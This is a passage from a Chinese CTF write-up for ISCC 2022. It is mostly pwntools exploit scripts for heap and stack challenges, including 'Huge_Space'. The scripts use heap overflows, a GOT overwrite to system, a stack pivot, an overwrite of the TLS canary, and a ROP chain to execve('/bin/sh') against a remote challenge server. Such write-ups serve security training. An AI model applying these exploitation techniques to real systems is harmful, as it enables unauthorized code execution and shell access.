delete(2) #合并chunk2+chunk1+chunk0
success("合并chunk")
delete(1)
fgets_got = elf.got["fgets"]#0x601050
free_got = elf.got["free"]#0x601018
system_plt = elf.plt["system"];system_got = elf.got["system"]
puts_plt = elf.plt["puts"]

add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420).decode('unicode_escape')+p64(0xf0).decode('unicode_escape')+p64(free_got).decode('unicode_escape'))#chunk0 + chunk1
add(5,0xe0,"/bin/sh\x00ffff")
add(6,0xe0,3*p64(system_plt+6).decode('unicode_escape'))
#add(6,0xe0,2*p64(0x400706)) #xxx
#add(6,0xe0,2*p64(sys))
raw_input()
sl("/bin/sh\x00")
#delete(5)
sh.interactive()

Huge_Space

开始 gets(magic)栈溢出add 功能有 堆溢出 ,可申请任意大小的 chunkcmd 命令可 输入 数据 过多 。程序只有 add 和print函数( size 可控,可 泄露 地址),还有一个后门 sh:system(buf)

通过 溢出栈,布置栈迁移 rop,然后 堆溢出 覆盖 topchunkfreeunsortedbin ,申请出来泄露 libc,然后申请大内存,溢出覆盖 tls 结构的 canary
输入 cmd ,在 cmd 后面构造调用 execveropexit 返回到 main 函数,绕过canary,栈迁移到 bss ,调用 ececve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: UTF-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5330 )
# libc = ELF('./libc-2.31.so')
# io = process('./Huge_Space')
libc = ELF('./libc.so.6')
elf = ELF('./Huge_Space')

l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))


def add(idx,size,content):
sl('+++')
sla('Index:',str(idx))
sla('Size: ',str(size))
sla('Data: ',content)
def show(idx,size):
sl('print')
sla('Index:',str(idx))
sla('Size: ',str(size))


pop_rdi = 0x0000000000400be3
pop_rsi_r15 = 0x0000000000400be1
pop_rdx = 0x0000000000001b96
pop_rbp = 0x0000000000400860
leaveret = 0x40090F
sh = 0x400909
writee = 0x400B19
# dbg()
sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret))
add(0,0x10,'A'*0x10+p64(0)+p64(0xd81))#0
add(1,0x1000,'B')#1
add(1,0xd50,'')#1
# add(2,0x1fa0,'')#2
show(1,0x20)
# show(2,0x20)

# irt()
libcbase = l64() - 0x3ebc00
lg('libcbase')
execve = libcbase + libc.symbols['execve']
lg('execve')

sl('666')
# dbg()
add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8)#3 local 0x24828 8273

sl('exit\x00\x00\x00\x00/bin/sh\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve))

irt()
本文作者:iami233
本文链接:https://5ime.cn/iscc-2022.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可